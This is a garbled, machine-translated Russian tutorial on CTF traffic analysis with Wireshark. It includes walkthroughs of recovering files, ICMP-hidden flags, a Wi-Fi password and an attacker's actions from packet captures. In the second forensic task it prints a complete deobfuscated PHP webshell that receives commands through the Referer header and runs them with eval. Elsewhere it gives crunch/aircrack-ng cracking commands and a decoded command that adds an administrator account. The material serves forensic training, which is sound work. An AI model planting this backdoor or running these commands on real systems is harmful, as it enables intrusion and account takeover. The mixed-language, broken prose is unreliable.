Сводка анализа CTF-трафика
Сводка анализа CTF-трафика

В соревнованиях CTF,Для пакета трафика Анализ и сбор доказательств — очень важный тип вопросов.。Обычно такого рода вопросы предоставляют данные, содержащие данные о трафике.pcapдокумент,Игроки фильтруют и фильтруют ненужную информацию о дорожном движении через этот файл.,Узнайте на основе ключевой информации о дорожном движенииflagили Связанные подсказки,в целомflagСпрятано в пакете данных,или需要从中提取一个документ出来等等,Также есть пакет рукопожатия для Wi-Fi.,Необходимо получить пароль Wi-Fi и т. д.

Загрузка вложения

Все темы затронутые в этой статье Загрузка вложенияадрес: Связь:https://pan.baidu.com/s/18mWo5vn1zp_XbmcQrMOKRA Код извлечения: hrc4

Как использовать Wireshark

下载адрес:https://www.wireshark.org/download.html pcapПакет трафикаАнализ обычно выполняется с помощью графического сетевого сниффера.——Wiresharkнепрерывный. Основное использование Wireshark разделено на Фильтрация. пакетов、Поиск пакетов、Восстановление пакетов、извлечение данные четыре части.

Фильтрация пакетов

фильтровать IP

Фильтрация исходных IP-адресов

Способ первый:

Язык кода:javascript
копировать
ip.src == исходный IP-адрес

Способ второй: Выбранный IP-адрес источника является условием фильтрации пакетов.,оказатьсяInternet Protocol Version 4внизSourceПоле。

щелкните правой кнопкой мышиSourceПоле,Выбрать еще разПрименить как фильтр –-> последний кликвыбрано,Вы можете отфильтровать все пакеты с этого IP-адреса источника.

фильтрация IP-адресов назначения

Способ первый:

Язык кода:javascript
копировать
ip.dst == IP-адрес назначения

Способ второй: Аналогично методу фильтрации IP-адресов источника, описанному выше.

Выбранный IP-адрес источника является условием фильтрации пакетов.,оказатьсяInternet Protocol Version 4внизDestinationПоле。

щелкните правой кнопкой мышиDestinationПоле,Выбрать еще разПрименить как фильтр –-> последний кликвыбрано,Вы можете отфильтровать все пакеты IP-адреса назначения.

фильтрация mac-адресов
Язык кода:javascript
копировать
eth.dst ==A0:00:00:04:C5:84 Фильтровать целевой Mac-адрес

eth.addr==A0:00:00:04:C5:84 Фильтровать MAC-адрес
Фильтрация портов
Язык кода:javascript
копировать
tcp.dstport == 80  Фильтровать пакеты трафика, порт назначения которых равен 80 протокола TCP.

tcp.srcport == 80  Фильтрация пакетов трафика с исходным портом 80 протокола TCP

udp.srcport == 80  Отфильтровать пакет, исходный порт протокола udp которого равен 80. трафика
Протокол скрининга
Язык кода:javascript
копировать
tcp  Фильтровать пакеты трафика с протоколом tcp

udp Фильтровать пакеты трафика с протоколом udp

arp/icmp/http/ftp/dns/ip  Протокол фильтрации: пакет arp/icmp/http/ftp/dns/ip. трафика
Фильтр длины пакета
Язык кода:javascript
копировать
udp.length ==20   Фильтровать пакеты UDP-трафика длиной 20

tcp.len >=20  Фильтрация пакетов TCP-трафика длиной более 20

ip.len ==20  Фильтровать пакеты IP-трафика длиной 20

frame.len ==20 Фильтровать весь пакет длиной 20 трафика
фильтрация HTTP-запросов
Язык кода:javascript
копировать
Метод запроса — GET: http.request.method=="GET"        Фильтровать метод HTTP-запроса как GET Пакет трафика

Метод запроса — POST: http.request.method=="POST"      Фильтровать метод HTTP-запроса как пакет POST трафика

Введите URI: http.request.uri==“/img/logo-edu.gif”  Фильтрация HTTP-запросов для пакета с помощью URL-адреса /img/logo-edu.gif трафика

Запрос или ответ содержит определенное содержимое: http contains “FLAG”    Фильтрация HTTP-содержимого для пакета /FLAG трафика

Поиск пакетов

Нажмите «Ctrl+F» в интерфейсе Wireshark, чтобы выполнить поиск по ключевым словам:

Функция поиска Wireshark поддерживает регулярные выражения, строки, шестнадцатеричные и другие методы поиска. Обычно строки используются непосредственно для поиска.

В раскрывающемся списке в левой части панели поиска есть три параметра: список групп, сведения о группе и поток байтов группы, которые соответствуют трем частям интерфейса Wireshark. Выберите различные параметры, чтобы указать область поиска. идет поиск:

Восстановление пакетов

В Wireshark есть функция отслеживания потока, которая может собирать трафик HTTP или TCP и восстанавливать его до исходных данных. Конкретный метод работы заключается в следующем:

Выберите пакет трафика, который вы хотите восстановить, щелкните правой кнопкой мыши и выберите «Поток трассировки» — «Поток TCP/Поток UPD/Поток SSL/Поток HTTP».

Восстановленную информацию о пробках можно увидеть во всплывающем окне:

извлечение данных

Wireshark поддерживает извлечение содержимого файлов, передаваемых (загруженных/выгруженных) через http. Метод заключается в следующем: Автоматически извлекать содержимое файлов, переданных по http документ->Экспортировать объект->HTTP

Найдите ценные файлы в списке открытых объектов,Например, сжатые файлы, текстовые файлы, аудиофайлы, изображения и т. д.,НажмитеSaveсохранять,илиSave All保存所有верно象再进入документ夹进行анализировать。

Вручную извлечь содержимое файла, переданного через http выбраноhttpдокумент传输Пакет трафика,在分组详情中оказатьсяdata,Line-based text, JPEG File Interchange Format, data:text/htmlслой,鼠标右键Нажмите – выбрано Экспортируйте пакетированный поток байтов.

Если это файл загрузки с помощью чоппера, вам необходимо удалить символы X@Y в начале и конце сгруппированного потока байтов, иначе загруженный файл будет неправильным. щелчок правой кнопкой мыши – выбрано Показать сгруппированные байты

Задайте начальный и конечный байты во всплывающем окне (прибавьте 3 к исходному количеству байтов в начале и вычтите 3 в конце)

последний кликSave asкнопка экспорта。

Классические типы вопросов для анализа трафика

CTFТипы вопросов в основном делятся на Пакет ремонт трафика、извлечение данных、WEBПакет трафикаанализировать、USBПакет трафикаанализировать、Взлом беспроводных паролей и промышленный контроль трафикаанализировать等等。

Вводные вопросы

Название: Головоногие (извлечение изображения)

Источник вопроса: XCTF 3rd-HITB CTF-2017. Тестовая точка: извлечение изображения Информация о вопросе: (Cephalopod.pcapng)

Пакет данных открывается, и сгруппированный поток байтов запрашивается на наличие флага. Обнаружено, что слова flag.png отсутствуют, но такого файла изображения нет. Изображение должно находиться в потоке большей длины. Отслеживайте поток TCP в tcp.stream eq 2. Найдите где-нибудь файл изображения и сохраните его как исходные данные.

Удалите лишнюю часть перед PNG и сохраните как 1.png.

получить флаг

Название: Специальный бэкдор (передача информации по протоколу icmp)

Источник названия: 7-й конкурс навыков сетевой безопасности среди студентов Шаньдунского университетского колледжа. Тестовые точки: поиск строки, передача информации по протоколу icmp. Информация о вопросе: (backdoor++.pcapng)

Найдите строку флага и получите приглашение flagisher здесь в icmp.

Каждый последующий пакет ICMP содержит символ флага.

Просмотрите все пакеты icmp последовательно, чтобы собрать воедино символы получить флагflag{Icmp_backdoor_can_transfer-some_infomation}

Тема: Мобильная точка доступа (протокол передачи Bluetooth obex,извлечение данных)

Источник вопроса: Geek Challenge, 7 сезон. Тестовая точка: протокол передачи Bluetooth obex,извлечение данных Информация о вопросе: (Blatand_1.pcapng)

Согласно подсказкам вопроса,Совместное использование мобильного телефона,Тогда это должна быть передача по Bluetooth,Протокол передачи BluetoothOBEX,После фильтрации выяснилось, что в нем находится сжатый пакет.

Способ первый:foremostПолучить сжатый пакет после разделения,Разархивироватьполучить флаг.gif

Способ второй:выбрано Содержитsecret.rarСумка,Действуйте следующим образом

Сохраните его как 1.rar и после распаковки получите flag.gif.

Тема: Если вы хотите пользоваться Интернетом, сначала разблокируйте пароль (взлом пароля беспроводной сети)

Источник вопроса: bugku Тестовая точка: взлом пароля беспроводной сети Информация о вопросе: (wifi.cap)

Загрузите пакет cap. В центре внимания аутентификации WIFI-соединения находится пакет четырехэтапного подтверждения WPA, который представляет собой пакет протокола eapol.

Конечно же, существует пакет четырехэтапного рукопожатия, и непосредственно выполняется взлом беспроводного пароля. Создайте словарь паролей:

Язык кода:javascript
копировать
crunch 11 11 -t 1391040%%%% >> wifipass.txt

Инструмент создания словарей Crunch под Linux Использование aircrack-ng взрывные работы

Язык кода:javascript
копировать
aircrack-ng -w wifipass.txt wifi.cap

получить флагflag{13910407686}

Расширенные типы вопросов

тема:поймал муху(Фильтрация пакетов,извлечение данных)

Источник вопроса: bugku Тестовые точки:Фильтрация пакетов,извлечение данных Информация о вопросе: (misc_fly.pcapng)

Сначала откройте пакет данных. Вопрос подсказывает поймать муху. Попробуйте поискать муху.

Язык кода:javascript
копировать
http contains "летать"

Я обнаружил подозрительную информацию. После тщательного анализа я обнаружил, что он отправлял электронные письма QQ и загружал файлы.

Теперь, когда файл загружен, давайте попробуем отфильтровать POST-запрос:

Язык кода:javascript
копировать
http.request.method==POST

можно увидеть13号数据Сумка调用函数CreateFile,Тогда следующие могут быть содержимым файла.,Сколько конкретно?,Посмотрите внимательно на URL,738号数据Сумка有个需要调用函数CheckFile,И пути предыдущих 5 URL-адресов пакетов одинаковы, Итак, начиная с первого, следующие 5 пакетов представляют собой содержимое flag.rar.

Мы сохраняем исходные данные в сгруппированном потоке байтов как 1, 2, 3, 4 и 5 соответственно для удобства работы.

Но поскольку TCP-пакеты имеют заголовки файлов, нам необходимо удалить заголовки файлов, чтобы объединить исходные данные в файл. Как видно из первого пакета:

Размер файла — 525701 байт. Размеры этих 5 необходимых нам пакетов данных (можно посмотреть в разделе «Тип носителя»):

131436*4+1777=527521 527521-525701=1820 1820/5=364

Заголовок файла пакета TCP — 364.

а затем использоватьlinuxПросто используйте некоторые инструменты для работыполучить флаг.rar Удалите заголовки пяти файлов и по очереди сохраните их в другой файл. Используйте dd здесь:

Язык кода:javascript
копировать
dd if=1 bs=1 skip=364 of=1.1

Синтаксис команды dd:
if Введите имя файла
bs Установите размер каждого блока чтения и записи равным 1 байту. 
skip Указывает, сколько блоков нужно пропустить с начала входного файла перед началом копирования.
of Имя выходного файла

Затем используйте входной поток Linux для объединения в файл:

Язык кода:javascript
копировать
cat 1.1 2.1 3.1 4.1 5.1 > fly.rar
или
copy /B 1.1+2.1+3.1+4.1+5.1 fly.rar

Тогда Fly.rar снова псевдо-шифруется, поэтому вам нужно открыть этот файл с помощью HXD и изменить 74 84 на 74 80, чтобы открыть его.

Разархивироватьполучить флаг.txt, открытый с помощью HXD, показывает, что он работает под Win32.

Так вот после смены исполняемого файла на exe появилась куча вылетов. . . . Binwalk обнаружил, что он содержит много изображений, сначала извлек его и получил QR-код.

Сканировать кодполучить флаг

Вопросы по анализу данных

Вопросы первый, второй, третий, четвертый. В вопросе было дано 10 пакетов трафика, только четыре из которых смогли проанализировать полезную информацию. Для удобства четыре пакета трафика анализируются по первой, второй, третьей и четвертой темам.

Подробности вопроса:

Вопрос 1(1.pcap)

Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.

Требования к теме: 1. IP-адрес сетевой карты первого хоста-жертвы, атакованного хакером. 2.Какой параметр URL-адреса хакер реализовал SQL-инъекцию? 3. Префикс таблицы базы данных первого хост-сайта-жертвы (с подчеркиванием, например abc_). 4. Имя базы данных хост-сайта первой жертвы.

Открыть Пакет трафика,Пакет трафиканемного большой,Открытие происходит медленно,Здесь мы сначала фильтруем какHTTP协议можно увидеть202.1.1.2верно192.168.1.8进行了疯狂的爆破

Нетрудно заметить, что используемый хакерами SqlMap постоянно внедряет SQL-тесты на целевой сайт. 因此受害主机的网卡IPадресдля**192.168.1.8 ** Введенные параметры также можно четко увидеть.,для**list[select]**

Отслеживайте HTTP-поток. По эхо-содержимому можно четко увидеть ошибки, возникающие в базе данных целевого сайта.

Определить базу целевого сайта несложно. данных表名前缀для**ajtuc_** Затем, чтобы определить имя базы данных хост-сайта жертвы, была проведена еще одна фильтрация.

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

В это время выберите последнюю введенную полезную нагрузку для декодирования URL-адреса.

можно ясно увидеть

Язык кода:javascript
копировать
FROM joomla.ajtuc_users

Поэтому база данных名для**joomla**

Отвечать
Язык кода:javascript
копировать
1. IP-адрес сетевой карты первого атакованного хоста-жертвы. 
192.168.1.8
2.Какой параметр URL-адреса хакер выполнил SQL-инъекцию?
list[select]
3. База веб-сайта первой жертвы Префикс таблицы данных (с подчеркиванием, например abc_)
ajtuc_
4. База веб-сайта первой жертвы имя данных
Joomla
Вопрос 2 (2.pcap)

Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.

Требования к теме: 1. Какой пароль у PHP-трояна, который хакер получил впервые? 2. Когда хакер загрузил php-троян во второй раз? 3. Через какой заголовок HTTP-протокола передает данные второй загруженный троянец?

Целевой IP был определен согласно вопросу 1, поэтому для упрощения операции мы по-прежнему используем следующую фильтрацию.

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

можно увидеть一个奇怪документkkkaaa.php,Последующий просмотр данных POST

Нетрудно обнаружить, что это поток китайских кухонных ножей.,木马密码для**zzz** Затем определите время, когда хакер второй раз загрузил php-трояна. Я отфильтровал его и догадался, что хакер загрузил второй троян на основе первого трояна.

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST

В это время фрагмент данных особенно привлекателен.

Разбираем его шестнадцатеричный

Поместите сохраненное значение в HXD, чтобы получить исходный код.

Сохраните файл как php, но код запутан, добавьте следующие две строки кода в конце кода.

Язык кода:javascript
копировать
var_dump($j);
var_dump($x);

Запустите php для деобфускации и обнаружите, что это троян.

Это подтверждает, что этот поразительный пакет загрузил второго трояна. 因此上传时间для:17:20:44.248365 После благоустройства

Язык кода:javascript
копировать
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}

$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

Легко заметить, что на данный момент к HTTP-заголовку относятся два параметра.

Язык кода:javascript
копировать
$rr = @$_SERVER["HTTP_REFERER"];
$ra = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];

Или используйте фильтрацию

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

Затем вы увидите множество страниц, запрашивающих footer.php, нажмите на одну, чтобы просмотреть подробности.

Нетрудно обнаружить, что данные реферера очень подозрительны, тогда как ACCEPT_LANGUAGE более нормален. Так что в принципе точно,Троян прошелHTTPв соглашении**Referer**Данные заголовка

Отвечать
Язык кода:javascript
копировать
1. Какой пароль у трояна PHP, который я получил впервые?
zzz
2.Когда хакер второй раз загрузил php-трояна?
17:20:44.248365
3. Через какой заголовок HTTP-протокола передает данные второй загруженный троянец?
Referer
Вопрос третий (3.pcap)

Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.

Требования к теме: 1. Каково имя пользователя mysql хоста интрасети и хеш пароля для запроса соединения (пользователь: хэш пароля) 2.К какому IP-адресу было подключено первое соединение при первом использовании php-прокси?

Фильтровать напрямую

Язык кода:javascript
копировать
tcp contains "mysql" && mysql

Получите много данных,Выяснилось, что хакер должен войти в Mysql., машина жертвы в интрасети — 192.168.2.20

Мы нашли последние данные для входа

Это значение и есть нужный нам хеш пароля MySQL. Просто отфильтруйте это

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http

На целевой машине установлен туннель.php для облегчения доступа из внешней сети к внутренней сети. Чтобы облегчить просмотр хакерских операций, мы фильтруем POST-запросы.

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST && http

Мы ясно видим, что PHP-прокси хакера сначала подключается к IP-адресу 4.2.2.2 при первом использовании.

Отвечать
Язык кода:javascript
копировать
1. Каково имя пользователя mysql хоста интрасети и хеш пароля для запроса соединения (пользователь: хэш пароля)
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
2.К какому IP-адресу было подключено первое соединение при первом использовании php-прокси?
4.2.2.2
Вопрос 4(4.pcap)

Источник вопроса: Конкурс данных по триатлону информационной безопасности 2018 г.

Требования к теме: 1. Когда хакер впервые получил запрос на использование списка файлов в текущем каталоге? 2. Какое имя пользователя и пароль добавил хакер на хост интрасети? 3. Имя файла, загруженного хакером с сервера интрасети.

Чтобы определить, когда впервые произошел эксплойт-запрос хакера на получение списка файлов в текущем каталоге, мы продолжаем фильтровать

Язык кода:javascript
копировать
(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && (http contains "dir" || http contains "ls")

На данный момент один — ls, а другой — dir. Давайте сначала проверим ls. отследить его поток TCP

Было обнаружено, что выполнение не удалось, а затем проверили реж.

Таким образом, можно подтвердить, что целевой системой является Windows, и команда dir успешно выполнена. 时间для:18:37:38.482420 Поскольку машина по адресу 192.168.2.20 может выполнять команды, я изменил метод фильтрации, чтобы увидеть, как хакеры атакуют

Язык кода:javascript
копировать
ip.addr == 192.168.2.20 && http

Нетрудно обнаружить, что хакеры использовали команду echo для написания бэкдора с именем sh.php.

Далее мы отслеживали инструкции, выполняемые хакером. Поскольку это был трафик китайского вертолета, мы решили угадать инструкции на основе возвращаемого открытого текста, что более эффективно.

Язык кода:javascript
копировать
ip.src == 192.168.2.20 && http

В 18:50:09.344660,Нашли подозрительные операции, нашли фрагмент подозрительных данных,суждениехакер Это должно быть выполненоnet userкоманда

Затем в 18:50:42.908737 было обнаружено, что хакер снова выполнил команду net user. На данный момент ответ такой:

Кажется, хакер успешно добавил пользователя-администратора Kaka. Определив примерное время совершения преступления, мы можем воспользоваться фильтрацией

Язык кода:javascript
копировать
ip.addr == 192.168.2.20 && http

Основываясь на предыдущих суждениях, мы можем знать В 18:49:27.767754 нет пользователя кака В 18:50:42.908737 пользователь kaka стал администратором Таким образом, можно сделать вывод, что время совершения преступления находилось в пределах этого периода времени.

За этот период было всего 4 POST-запроса. Мы проверили их один за другим. Как и ожидалось, проблема обнаружилась в первом POST.

Язык кода:javascript
копировать
Y2QvZCJDOlxwaHBTdHVkeVxXV1dcYjJldm9sdXRpb25caW5zdGFsbFx0ZXN0XCImbmV0IHVzZXIg
a2FrYSBrYWthIC9hZGQmZWNobyBbU10mY2QmZWNobyBbRV0=

После декодирования

Язык кода:javascript
копировать
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]

можно ясно увидеть

Язык кода:javascript
копировать
net user kaka kaka /add

Так что можно сделать вывод,用户名和密码均дляkaka Поскольку последний вопрос касается скачивания, то скачивать его следует с помощью китайского кухонного ножа. Дальше только фильтруем пост-трафик и проверяем команду.

Язык кода:javascript
копировать
ip.dst == 192.168.2.20 && http.request.method==POST

Затем мы нашли следующие данные в конце пакета данных

мы декодируем это

Обнаружил, что использовался procdump.exe Также найдены файлы

Декодировано, чтобы получить

Наконец-то мы можем быть уверены,хакер Скачаноlsass.exe_180208_185247.dmpдокумент

Отвечать
Язык кода:javascript
копировать
1.хакер Когда произошел первый запрос на использование уязвимости для получения списка файлов в текущем каталоге?
18:37:38.482420
2. Какие имя пользователя и пароль добавлены к узлу интрасети?
kaka:kaka
3.хакер Имя файла, скачанного с интранет-сервера
lsass.exe_180208_185247.dmp

ссылка: Анализ CTF-трафика с помощью Wireshark Углубленный анализ типов вопросов анализа трафика CTF CTF| Давайте вместе повеселимся и решим задачу анализа трафика! 5 мая 2018 г. Решение проблем, связанных с соревнованием данных по триатлону информационной безопасности

boy illustration
Углубленный анализ переполнения памяти CUDA: OutOfMemoryError: CUDA не хватает памяти. Попыталась выделить 3,21 Ги Б (GPU 0; всего 8,00 Ги Б).
boy illustration
[Решено] ошибка установки conda. Среда решения: не удалось выполнить первоначальное зависание. Повторная попытка с помощью файла (графическое руководство).
boy illustration
Прочитайте нейросетевую модель Трансформера в одной статье
boy illustration
.ART Теплые зимние предложения уже открыты
boy illustration
Сравнительная таблица описания кодов ошибок Amap
boy illustration
Уведомление о последних правилах Points Mall в декабре 2022 года.
boy illustration
Даже новички могут быстро приступить к работе с легким сервером приложений.
boy illustration
Взгляд на RSAC 2024|Защита конфиденциальности в эпоху больших моделей
boy illustration
Вы используете ИИ каждый день и до сих пор не знаете, как ИИ дает обратную связь? Одна статья для понимания реализации в коде Python общих функций потерь генеративных моделей + анализ принципов расчета.
boy illustration
Используйте (внутренний) почтовый ящик для образовательных учреждений, чтобы использовать Microsoft Family Bucket (1T дискового пространства на одном диске и версию Office 365 для образовательных учреждений)
boy illustration
Руководство по началу работы с оперативным проектом (7) Практическое сочетание оперативного письма — оперативного письма на основе интеллектуальной системы вопросов и ответов службы поддержки клиентов
boy illustration
[docker] Версия сервера «Чтение 3» — создайте свою собственную программу чтения веб-текста
boy illustration
Обзор Cloud-init и этапы создания в рамках PVE
boy illustration
Корпоративные пользователи используют пакет регистрационных ресурсов для регистрации ICP для веб-сайта и активации оплаты WeChat H5 (с кодом платежного узла версии API V3)
boy illustration
Подробное объяснение таких показателей производительности с высоким уровнем параллелизма, как QPS, TPS, RT и пропускная способность.
boy illustration
Удачи в конкурсе Python Essay Challenge, станьте первым, кто испытает новую функцию сообщества [Запускать блоки кода онлайн] и выиграйте множество изысканных подарков!
boy illustration
[Техническая посадка травы] Кровавая рвота и отделка позволяют вам необычным образом ощипывать гусиные перья! Не распространяйте информацию! ! !
boy illustration
[Официальное ограниченное по времени мероприятие] Сейчас ноябрь, напишите и получите приз
boy illustration
Прочтите это в одной статье: Учебник для няни по созданию сервера Huanshou Parlu на базе CVM-сервера.
boy illustration
Cloud Native | Что такое CRD (настраиваемые определения ресурсов) в K8s?
boy illustration
Как использовать Cloudflare CDN для настройки узла (CF самостоятельно выбирает IP) Гонконг, Китай/Азия узел/сводка и рекомендации внутреннего высокоскоростного IP-сегмента
boy illustration
Дополнительные правила вознаграждения амбассадоров акции в марте 2023 г.
boy illustration
Можно ли открыть частный сервер Phantom Beast Palu одним щелчком мыши? Супер простой урок для начинающих! (Прилагается метод обновления сервера)
boy illustration
[Играйте с Phantom Beast Palu] Обновите игровой сервер Phantom Beast Pallu одним щелчком мыши
boy illustration
Maotouhu делится: последний доступный внутри страны адрес склада исходного образа Docker 2024 года (обновлено 1 декабря)
boy illustration
Кодирование Base64 в MultipartFile
boy illustration
5 точек расширения SpringBoot, супер практично!
boy illustration
Глубокое понимание сопоставления индексов Elasticsearch.
boy illustration
15 рекомендуемых платформ разработки с нулевым кодом корпоративного уровня. Всегда найдется та, которая вам понравится.
boy illustration
Аннотация EasyExcel позволяет экспортировать с сохранением двух десятичных знаков.